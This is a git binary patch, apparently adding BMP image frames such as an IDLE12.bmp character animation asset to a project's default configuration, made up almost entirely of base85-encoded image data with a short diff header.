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 HmtX%cMd6Na literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE12.bmp new file mode 100644 index 0000000000000000000000000000000000000000..9ba527010d899b0a35fa12d0144303e807012651 GIT binary patch literal 18462 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 